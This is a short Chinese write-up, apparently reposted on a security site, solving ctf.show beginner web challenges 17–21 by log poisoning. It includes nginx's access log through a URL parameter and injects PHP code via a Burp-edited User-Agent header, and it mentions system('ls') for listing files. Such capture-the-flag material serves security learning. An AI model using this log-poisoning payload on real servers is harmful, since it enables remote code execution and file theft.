CTF show 萌新计划web17-21

admin 2022年1月5日22:51:54评论117 views字数 135阅读0分27秒阅读模式

>

>

CTF show 萌新计划web17-21

fgfxf

/?c=/var/log/nginx/access.log
然后burp改UA:<?php highlight_file('36d.php'); ?>
CTF show 萌新计划web17-21
以上方案通杀。
36d.php这个路径可以通过system('ls');获取


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月5日22:51:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CTF show 萌新计划web17-21http://cn-sec.com/archives/719399.html

发表评论

匿名网友 填写信息